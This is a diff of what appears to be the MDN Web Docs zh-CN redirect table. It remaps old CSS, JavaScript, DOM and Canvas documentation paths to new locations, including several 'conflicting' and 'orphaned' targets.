/zh-CN/docs/Web/CSS/:-moz-placeholder -/zh-CN/docs/CSS/::-moz-placeholder /zh-CN/docs/Web/CSS/::-moz-placeholder +/zh-CN/docs/CSS/:-moz-placeholder /zh-CN/docs/conflicting/Web/CSS/:placeholder-shown +/zh-CN/docs/CSS/::-moz-placeholder /zh-CN/docs/conflicting/Web/CSS/::placeholder /zh-CN/docs/CSS/::after /zh-CN/docs/Web/CSS/::after /zh-CN/docs/CSS/:first-child /zh-CN/docs/Web/CSS/:first-child /zh-CN/docs/CSS/:only-child /zh-CN/docs/Web/CSS/:only-child @@ -27,25 +28,25 @@ /zh-CN/docs/CSS/CSS_animated_properties /zh-CN/docs/Web/CSS/CSS_animated_properties /zh-CN/docs/CSS/CSS_reference /zh-CN/docs/Web/CSS/Reference /zh-CN/docs/CSS/CSS_values_syntax /zh-CN/docs/Web/CSS -/zh-CN/docs/CSS/CSS_一般问题 /zh-CN/docs/Web/CSS/Common_CSS_Questions +/zh-CN/docs/CSS/CSS_一般问题 /zh-CN/docs/Learn/CSS/Howto/CSS_FAQ /zh-CN/docs/CSS/Child_selectors /zh-CN/docs/Web/CSS/Child_combinator /zh-CN/docs/CSS/Class_selectors /zh-CN/docs/Web/CSS/Class_selectors /zh-CN/docs/CSS/Comments /zh-CN/docs/Web/CSS/Comments -/zh-CN/docs/CSS/Common_CSS_Questions /zh-CN/docs/Web/CSS/Common_CSS_Questions +/zh-CN/docs/CSS/Common_CSS_Questions /zh-CN/docs/Learn/CSS/Howto/CSS_FAQ /zh-CN/docs/CSS/Descendant_selectors /zh-CN/docs/Web/CSS/Descendant_combinator /zh-CN/docs/CSS/General_sibling_selectors /zh-CN/docs/Web/CSS/General_sibling_combinator -/zh-CN/docs/CSS/Getting_Started /zh-CN/docs/Web/Guide/CSS/Getting_started -/zh-CN/docs/CSS/Getting_Started/Boxes /zh-CN/docs/Web/Guide/CSS/Getting_started/Boxes -/zh-CN/docs/CSS/Getting_Started/Cascading_and_inheritance /zh-CN/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance -/zh-CN/docs/CSS/Getting_Started/Color /zh-CN/docs/Web/Guide/CSS/Getting_started/Color -/zh-CN/docs/CSS/Getting_Started/Content /zh-CN/docs/Web/Guide/CSS/Getting_started/Content -/zh-CN/docs/CSS/Getting_Started/How_CSS_works /zh-CN/docs/Web/Guide/CSS/Getting_started/How_CSS_works -/zh-CN/docs/CSS/Getting_Started/Lists /zh-CN/docs/Web/Guide/CSS/Getting_started/Lists -/zh-CN/docs/CSS/Getting_Started/Readable_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Readable_CSS -/zh-CN/docs/CSS/Getting_Started/Selectors /zh-CN/docs/Web/Guide/CSS/Getting_started/Selectors -/zh-CN/docs/CSS/Getting_Started/Text_styles /zh-CN/docs/Web/Guide/CSS/Getting_started/Text_styles -/zh-CN/docs/CSS/Getting_Started/What_is_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/What_is_CSS -/zh-CN/docs/CSS/Getting_Started/Why_use_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Why_use_CSS +/zh-CN/docs/CSS/Getting_Started /zh-CN/docs/conflicting/Learn/CSS/First_steps +/zh-CN/docs/CSS/Getting_Started/Boxes /zh-CN/docs/conflicting/Learn/CSS/Building_blocks +/zh-CN/docs/CSS/Getting_Started/Cascading_and_inheritance /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance +/zh-CN/docs/CSS/Getting_Started/Color /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Values_and_units +/zh-CN/docs/CSS/Getting_Started/Content /zh-CN/docs/Learn/CSS/Howto/Generated_content +/zh-CN/docs/CSS/Getting_Started/How_CSS_works /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works +/zh-CN/docs/CSS/Getting_Started/Lists /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Styling_lists +/zh-CN/docs/CSS/Getting_Started/Readable_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_is_structured +/zh-CN/docs/CSS/Getting_Started/Selectors /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Selectors +/zh-CN/docs/CSS/Getting_Started/Text_styles /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711 +/zh-CN/docs/CSS/Getting_Started/What_is_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209 +/zh-CN/docs/CSS/Getting_Started/Why_use_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 /zh-CN/docs/CSS/ID_selectors /zh-CN/docs/Web/CSS/ID_selectors /zh-CN/docs/CSS/Media /zh-CN/docs/Web/API/CSSMediaRule /zh-CN/docs/CSS/Media/Visual /zh-CN/docs/Web/CSS/@media @@ -54,18 +55,18 @@ /zh-CN/docs/CSS/Specificity /zh-CN/docs/Web/CSS/Specificity /zh-CN/docs/CSS/Syntax /zh-CN/docs/Web/CSS/Syntax /zh-CN/docs/CSS/Tutorials /zh-CN/docs/Web/CSS/Tutorials -/zh-CN/docs/CSS/Tutorials/Using_CSS_flexible_boxes /zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes +/zh-CN/docs/CSS/Tutorials/Using_CSS_flexible_boxes /zh-CN/docs/conflicting/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox /zh-CN/docs/CSS/Tutorials/Using_CSS_transforms /zh-CN/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms /zh-CN/docs/CSS/Tutorials/Using_CSS_transitions /zh-CN/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions /zh-CN/docs/CSS/Type_selectors /zh-CN/docs/Web/CSS/Type_selectors -/zh-CN/docs/CSS/Understanding_z-index /zh-CN/docs/Web/Guide/CSS/Understanding_z_index -/zh-CN/docs/CSS/Understanding_z-index/Adding_z-index /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Adding_z-index -/zh-CN/docs/CSS/Understanding_z-index/Stacking_and_float /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_and_float -/zh-CN/docs/CSS/Understanding_z-index/Stacking_without_z-index /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/Stacking_without_z-index -/zh-CN/docs/CSS/Understanding_z-index/The_stacking_context /zh-CN/docs/Web/Guide/CSS/Understanding_z_index/The_stacking_context +/zh-CN/docs/CSS/Understanding_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index +/zh-CN/docs/CSS/Understanding_z-index/Adding_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +/zh-CN/docs/CSS/Understanding_z-index/Stacking_and_float /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +/zh-CN/docs/CSS/Understanding_z-index/Stacking_without_z-index /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +/zh-CN/docs/CSS/Understanding_z-index/The_stacking_context /zh-CN/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context /zh-CN/docs/CSS/Universal_selectors /zh-CN/docs/Web/CSS/Universal_selectors /zh-CN/docs/CSS/Value_definition_syntax /zh-CN/docs/Web/CSS/Value_definition_syntax -/zh-CN/docs/CSS/Visual_formatting_model /zh-CN/docs/Web/Guide/CSS/Visual_formatting_model +/zh-CN/docs/CSS/Visual_formatting_model /zh-CN/docs/Web/CSS/Visual_formatting_model /zh-CN/docs/CSS/actual_value /zh-CN/docs/Web/CSS/actual_value /zh-CN/docs/CSS/animation-direction /zh-CN/docs/Web/CSS/animation-direction /zh-CN/docs/CSS/animation-duration /zh-CN/docs/Web/CSS/animation-duration @@ -90,9 +91,10 @@ /zh-CN/docs/CSS/calc /zh-CN/docs/Web/CSS/calc() /zh-CN/docs/CSS/clip /zh-CN/docs/Web/CSS/clip /zh-CN/docs/CSS/cursor /zh-CN/docs/Web/CSS/cursor -/zh-CN/docs/CSS/cursor/url /zh-CN/docs/Web/CSS/cursor/url +/zh-CN/docs/CSS/cursor/url /zh-CN/docs/Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property /zh-CN/docs/CSS/display /zh-CN/docs/Web/CSS/display /zh-CN/docs/CSS/flex-grow /zh-CN/docs/Web/CSS/flex-grow +/zh-CN/docs/CSS/float /zh-CN/docs/Web/CSS/float /zh-CN/docs/CSS/float/Webkit_Extensions /zh-CN/docs/Web/CSS/WebKit_Extensions /zh-CN/docs/CSS/font-smooth /zh-CN/docs/Web/CSS/font-smooth /zh-CN/docs/CSS/height /zh-CN/docs/Web/CSS/height @@ -115,7 +117,7 @@ /zh-CN/docs/CSS/text-rendering /zh-CN/docs/Web/CSS/text-rendering /zh-CN/docs/CSS/text-shadow /zh-CN/docs/Web/CSS/text-shadow /zh-CN/docs/CSS/text-transform /zh-CN/docs/Web/CSS/text-transform -/zh-CN/docs/CSS/timing-function /zh-CN/docs/Web/CSS/timing-function +/zh-CN/docs/CSS/timing-function /zh-CN/docs/conflicting/Web/CSS/easing-function /zh-CN/docs/CSS/transform /zh-CN/docs/Web/CSS/transform /zh-CN/docs/CSS/transition /zh-CN/docs/Web/CSS/transition /zh-CN/docs/CSS/transition-timing-function /zh-CN/docs/Web/CSS/transition-timing-function @@ -128,33 +130,33 @@ /zh-CN/docs/CSS/word-spacing /zh-CN/docs/Web/CSS/word-spacing /zh-CN/docs/CSS/z-index /zh-CN/docs/Web/CSS/z-index /zh-CN/docs/CSS/动画 /zh-CN/docs/Web/CSS/animation -/zh-CN/docs/CSS/开始 /zh-CN/docs/Web/Guide/CSS/Getting_started -/zh-CN/docs/CSS/开始/Boxes /zh-CN/docs/Web/Guide/CSS/Getting_started/Boxes -/zh-CN/docs/CSS/开始/Cascading_and_inheritance /zh-CN/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance -/zh-CN/docs/CSS/开始/Color /zh-CN/docs/Web/Guide/CSS/Getting_started/Color -/zh-CN/docs/CSS/开始/Content /zh-CN/docs/Web/Guide/CSS/Getting_started/Content -/zh-CN/docs/CSS/开始/How_CSS_works /zh-CN/docs/Web/Guide/CSS/Getting_started/How_CSS_works -/zh-CN/docs/CSS/开始/Lists /zh-CN/docs/Web/Guide/CSS/Getting_started/Lists -/zh-CN/docs/CSS/开始/Readable_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Readable_CSS -/zh-CN/docs/CSS/开始/SVG_and_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/SVG_and_CSS -/zh-CN/docs/CSS/开始/Selectors /zh-CN/docs/Web/Guide/CSS/Getting_started/Selectors -/zh-CN/docs/CSS/开始/Tables /zh-CN/docs/Web/Guide/CSS/Getting_started/Tables -/zh-CN/docs/CSS/开始/Text_styles /zh-CN/docs/Web/Guide/CSS/Getting_started/Text_styles -/zh-CN/docs/CSS/开始/What_is_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/What_is_CSS -/zh-CN/docs/CSS/开始/为何使用CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Why_use_CSS -/zh-CN/docs/CSS/开始/媒体 /zh-CN/docs/Web/Guide/CSS/Getting_started/Media -/zh-CN/docs/CSS/开始/布局 /zh-CN/docs/Web/Guide/CSS/Getting_started/Layout -/zh-CN/docs/CSS:Getting_Started:Boxes /zh-CN/docs/Web/Guide/CSS/Getting_started/Boxes -/zh-CN/docs/CSS:Getting_Started:Cascading_and_inheritance /zh-CN/docs/Web/Guide/CSS/Getting_started/Cascading_and_inheritance -/zh-CN/docs/CSS:Getting_Started:Color /zh-CN/docs/Web/Guide/CSS/Getting_started/Color -/zh-CN/docs/CSS:Getting_Started:Content /zh-CN/docs/Web/Guide/CSS/Getting_started/Content -/zh-CN/docs/CSS:Getting_Started:How_CSS_works /zh-CN/docs/Web/Guide/CSS/Getting_started/How_CSS_works -/zh-CN/docs/CSS:Getting_Started:Lists /zh-CN/docs/Web/Guide/CSS/Getting_started/Lists -/zh-CN/docs/CSS:Getting_Started:Readable_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Readable_CSS -/zh-CN/docs/CSS:Getting_Started:Selectors /zh-CN/docs/Web/Guide/CSS/Getting_started/Selectors -/zh-CN/docs/CSS:Getting_Started:Text_styles /zh-CN/docs/Web/Guide/CSS/Getting_started/Text_styles -/zh-CN/docs/CSS:Getting_Started:What_is_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/What_is_CSS -/zh-CN/docs/CSS:Getting_Started:Why_use_CSS /zh-CN/docs/Web/Guide/CSS/Getting_started/Why_use_CSS +/zh-CN/docs/CSS/开始 /zh-CN/docs/conflicting/Learn/CSS/First_steps +/zh-CN/docs/CSS/开始/Boxes /zh-CN/docs/conflicting/Learn/CSS/Building_blocks +/zh-CN/docs/CSS/开始/Cascading_and_inheritance /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance +/zh-CN/docs/CSS/开始/Color /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Values_and_units +/zh-CN/docs/CSS/开始/Content /zh-CN/docs/Learn/CSS/Howto/Generated_content +/zh-CN/docs/CSS/开始/How_CSS_works /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works +/zh-CN/docs/CSS/开始/Lists /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Styling_lists +/zh-CN/docs/CSS/开始/Readable_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_is_structured +/zh-CN/docs/CSS/开始/SVG_and_CSS /zh-CN/docs/Web/SVG/Tutorial/SVG_and_CSS +/zh-CN/docs/CSS/开始/Selectors /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Selectors +/zh-CN/docs/CSS/开始/Tables /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Styling_tables +/zh-CN/docs/CSS/开始/Text_styles /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711 +/zh-CN/docs/CSS/开始/What_is_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209 +/zh-CN/docs/CSS/开始/为何使用CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 +/zh-CN/docs/CSS/开始/媒体 /zh-CN/docs/Web/Progressive_web_apps/Responsive/Media_types +/zh-CN/docs/CSS/开始/布局 /zh-CN/docs/conflicting/Learn/CSS/CSS_layout +/zh-CN/docs/CSS:Getting_Started:Boxes /zh-CN/docs/conflicting/Learn/CSS/Building_blocks +/zh-CN/docs/CSS:Getting_Started:Cascading_and_inheritance /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Cascade_and_inheritance +/zh-CN/docs/CSS:Getting_Started:Color /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Values_and_units +/zh-CN/docs/CSS:Getting_Started:Content /zh-CN/docs/Learn/CSS/Howto/Generated_content +/zh-CN/docs/CSS:Getting_Started:How_CSS_works /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works +/zh-CN/docs/CSS:Getting_Started:Lists /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Styling_lists +/zh-CN/docs/CSS:Getting_Started:Readable_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_is_structured +/zh-CN/docs/CSS:Getting_Started:Selectors /zh-CN/docs/conflicting/Learn/CSS/Building_blocks/Selectors +/zh-CN/docs/CSS:Getting_Started:Text_styles /zh-CN/docs/conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711 +/zh-CN/docs/CSS:Getting_Started:What_is_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209 +/zh-CN/docs/CSS:Getting_Started:Why_use_CSS /zh-CN/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_64ba4331a7a5f4319c6e06b06ccdd521 /zh-CN/docs/CSS:Media:Visual /zh-CN/docs/Web/CSS/@media /zh-CN/docs/CSS:background /zh-CN/docs/Web/CSS/background /zh-CN/docs/CSS:background-attachment /zh-CN/docs/Web/CSS/background-attachment @@ -168,7 +170,7 @@ /zh-CN/docs/CSS:position /zh-CN/docs/Web/CSS/position /zh-CN/docs/CSS:text-transform /zh-CN/docs/Web/CSS/text-transform /zh-CN/docs/CSS:visibility /zh-CN/docs/Web/CSS/visibility -/zh-CN/docs/CSS:开始 /zh-CN/docs/Web/Guide/CSS/Getting_started +/zh-CN/docs/CSS:开始 /zh-CN/docs/conflicting/Learn/CSS/First_steps /zh-CN/docs/Canvas /zh-CN/docs/Web/API/Canvas_API/Tutorial /zh-CN/docs/Canvas_tutorial/Applying_styles_and_colors /zh-CN/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors /zh-CN/docs/Canvas_tutorial/Basic_animations /zh-CN/docs/Web/API/Canvas_API/Tutorial/Basic_animations @@ -178,7 +180,9 @@ /zh-CN/docs/Canvas_tutorial:Applying_styles_and_colors /zh-CN/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors /zh-CN/docs/Canvas_tutorial:Using_images /zh-CN/docs/Web/API/Canvas_API/Tutorial/Using_images /zh-CN/docs/Canvas教程 /zh-CN/docs/Web/API/Canvas_API/Tutorial +/zh-CN/docs/Chrome /zh-CN/docs/conflicting/Glossary/Chrome /zh-CN/docs/Components /zh-CN/docs/Components_object +/zh-CN/docs/Controlling_DNS_prefetching /zh-CN/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control /zh-CN/docs/Core_JavaScript_1.5_Guide/Objects_and_Properties /zh-CN/docs/Web/JavaScript/Guide/Expressions_and_Operators /zh-CN/docs/Core_JavaScript_1.5_Guide:Objects_and_Properties /zh-CN/docs/Web/JavaScript/Guide/Expressions_and_Operators /zh-CN/docs/Core_JavaScript_1.5_Reference/About /zh-CN/docs/Web/JavaScript/Reference/About @@ -193,7 +197,7 @@ /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/input /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/copyWithin /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/pop /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop -/zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype +/zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/push /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/push /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/reverse /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Array/shift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/shift @@ -203,7 +207,7 @@ /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Error /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Error /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/EvalError /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/EvalError /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function -/zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype +/zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Function/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Function /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Math /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Math/random /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math/random /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/Number /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Number @@ -213,7 +217,7 @@ /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Objects/RegExp/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toSource /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Properties /zh-CN/docs/Web/JavaScript/Reference/Global_Objects /zh-CN/docs/Core_JavaScript_1.5_Reference/Global_Properties/NaN /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/NaN -/zh-CN/docs/Core_JavaScript_1.5_Reference/Reserved_Words /zh-CN/docs/Web/JavaScript/Reference/Reserved_words +/zh-CN/docs/Core_JavaScript_1.5_Reference/Reserved_Words /zh-CN/docs/conflicting/Web/JavaScript/Reference/Lexical_grammar /zh-CN/docs/Core_JavaScript_1.5_Reference/Statements /zh-CN/docs/Web/JavaScript/Reference/Statements /zh-CN/docs/Core_JavaScript_1.5_Reference/Statements/throw /zh-CN/docs/Web/JavaScript/Reference/Statements/throw /zh-CN/docs/Core_JavaScript_1.5_Reference:About /zh-CN/docs/Web/JavaScript/Reference/About @@ -226,7 +230,7 @@ /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:input /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/copyWithin /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:pop /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop -/zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype +/zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:push /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/push /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:reverse /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Array:shift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/shift @@ -235,15 +239,16 @@ /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Date /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Error /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Error /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Function /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function -/zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Function:prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype +/zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Function:prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Function /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Math /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Number /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Number /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:Object /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:RegExp /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Objects:RegExp:lastIndex /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex /zh-CN/docs/Core_JavaScript_1.5_Reference:Global_Properties /zh-CN/docs/Web/JavaScript/Reference/Global_Objects -/zh-CN/docs/Core_JavaScript_1.5_Reference:Reserved_Words /zh-CN/docs/Web/JavaScript/Reference/Reserved_words +/zh-CN/docs/Core_JavaScript_1.5_Reference:Reserved_Words /zh-CN/docs/conflicting/Web/JavaScript/Reference/Lexical_grammar /zh-CN/docs/Core_JavaScript_1.5_Reference:Statements:throw /zh-CN/docs/Web/JavaScript/Reference/Statements/throw +/zh-CN/docs/DHTML /zh-CN/docs/Glossary/DHTML /zh-CN/docs/DOM/Blob /zh-CN/docs/Web/API/Blob /zh-CN/docs/DOM/BlobBuilder /zh-CN/docs/Web/API/BlobBuilder /zh-CN/docs/DOM/CSSRule /zh-CN/docs/Web/API/CSSRule @@ -277,13 +282,13 @@ /zh-CN/docs/DOM/FileList /zh-CN/docs/Web/API/FileList /zh-CN/docs/DOM/FileReader /zh-CN/docs/Web/API/FileReader /zh-CN/docs/DOM/FileReaderSync /zh-CN/docs/Web/API/FileReaderSync -/zh-CN/docs/DOM/File_APIs/Filesystem/Basic_Concepts_About_the_Filesystem_API /zh-CN/docs/WebGuide/API/File_System/Introduction -/zh-CN/docs/DOM/File_APIs/Filesystem/文件系统API的基本概念 /zh-CN/docs/WebGuide/API/File_System/Introduction +/zh-CN/docs/DOM/File_APIs/Filesystem/Basic_Concepts_About_the_Filesystem_API /zh-CN/docs/Web/API/File_and_Directory_Entries_API/Introduction +/zh-CN/docs/DOM/File_APIs/Filesystem/文件系统API的基本概念 /zh-CN/docs/Web/API/File_and_Directory_Entries_API/Introduction /zh-CN/docs/DOM/HTMLCanvasElement /zh-CN/docs/Web/API/HTMLCanvasElement /zh-CN/docs/DOM/HTMLDocument /zh-CN/docs/Web/API/HTMLDocument /zh-CN/docs/DOM/HTMLFieldSetElement /zh-CN/docs/Web/API/HTMLFieldSetElement /zh-CN/docs/DOM/ImageData /zh-CN/docs/Web/API/ImageData -/zh-CN/docs/DOM/Input.mozSetFileNameArray /zh-CN/docs/Web/API/HTMLInputElement/mozSetFileNameArray +/zh-CN/docs/DOM/Input.mozSetFileNameArray /zh-CN/docs/conflicting/Web/API/HTMLInputElement /zh-CN/docs/DOM/KeyboardEvent /zh-CN/docs/Web/API/KeyboardEvent /zh-CN/docs/DOM/MouseScrollEvent /zh-CN/docs/Web/API/MouseScrollEvent /zh-CN/docs/DOM/MouseWheelEvent /zh-CN/docs/Web/API/MouseWheelEvent @@ -292,7 +297,7 @@ /zh-CN/docs/DOM/Node.appendChild /zh-CN/docs/Web/API/Node/appendChild /zh-CN/docs/DOM/Node.attributes /zh-CN/docs/Web/API/Element/attributes /zh-CN/docs/DOM/Node.baseURI /zh-CN/docs/Web/API/Node/baseURI -/zh-CN/docs/DOM/Node.baseURIObject /zh-CN/docs/Web/API/Node/baseURIObject +/zh-CN/docs/DOM/Node.baseURIObject /zh-CN/docs/conflicting/Web/API/Node /zh-CN/docs/DOM/Node.childNodes /zh-CN/docs/Web/API/Node/childNodes /zh-CN/docs/DOM/Node.cloneNode /zh-CN/docs/Web/API/Node/cloneNode /zh-CN/docs/DOM/Node.compareDocumentPosition /zh-CN/docs/Web/API/Node/compareDocumentPosition @@ -324,7 +329,7 @@ /zh-CN/docs/DOM/NodeList.item /zh-CN/docs/Web/API/NodeList/item /zh-CN/docs/DOM/Selection /zh-CN/docs/Web/API/Selection /zh-CN/docs/DOM/Selection/collapseToStart /zh-CN/docs/Web/API/Selection/collapseToStart -/zh-CN/docs/DOM/Storage /zh-CN/docs/Web/Guide/API/DOM/Storage +/zh-CN/docs/DOM/Storage /zh-CN/docs/conflicting/Web/API/Web_Storage_API /zh-CN/docs/DOM/StyleSheet /zh-CN/docs/Web/API/StyleSheet /zh-CN/docs/DOM/StyleSheet/href /zh-CN/docs/Web/API/StyleSheet/href /zh-CN/docs/DOM/Text.isElementContentWhitespace /zh-CN/docs/Web/API/Text/isElementContentWhitespace @@ -369,7 +374,7 @@ /zh-CN/docs/DOM/document.anchors /zh-CN/docs/Web/API/Document/anchors /zh-CN/docs/DOM/document.applets /zh-CN/docs/Web/API/Document/applets /zh-CN/docs/DOM/document.async /zh-CN/docs/Web/API/XMLDocument/async -/zh-CN/docs/DOM/document.baseURIObject /zh-CN/docs/Web/API/Node/baseURIObject +/zh-CN/docs/DOM/document.baseURIObject /zh-CN/docs/conflicting/Web/API/Node /zh-CN/docs/DOM/document.body /zh-CN/docs/Web/API/Document/body /zh-CN/docs/DOM/document.characterSet /zh-CN/docs/Web/API/Document/characterSet /zh-CN/docs/DOM/document.close /zh-CN/docs/Web/API/Document/close @@ -395,14 +400,14 @@ /zh-CN/docs/DOM/document.height /zh-CN/docs/Web/API/Document/height /zh-CN/docs/DOM/document.images /zh-CN/docs/Web/API/Document/images /zh-CN/docs/DOM/document.importNode /zh-CN/docs/Web/API/Document/importNode -/zh-CN/docs/DOM/document.inputEncoding /zh-CN/docs/Web/API/Document/inputEncoding +/zh-CN/docs/DOM/document.inputEncoding /zh-CN/docs/conflicting/Web/API/Document/characterSet /zh-CN/docs/DOM/document.lastModified /zh-CN/docs/Web/API/Document/lastModified /zh-CN/docs/DOM/document.lastStyleSheetSet /zh-CN/docs/Web/API/Document/lastStyleSheetSet /zh-CN/docs/DOM/document.linkColor /zh-CN/docs/Web/API/Document/linkColor 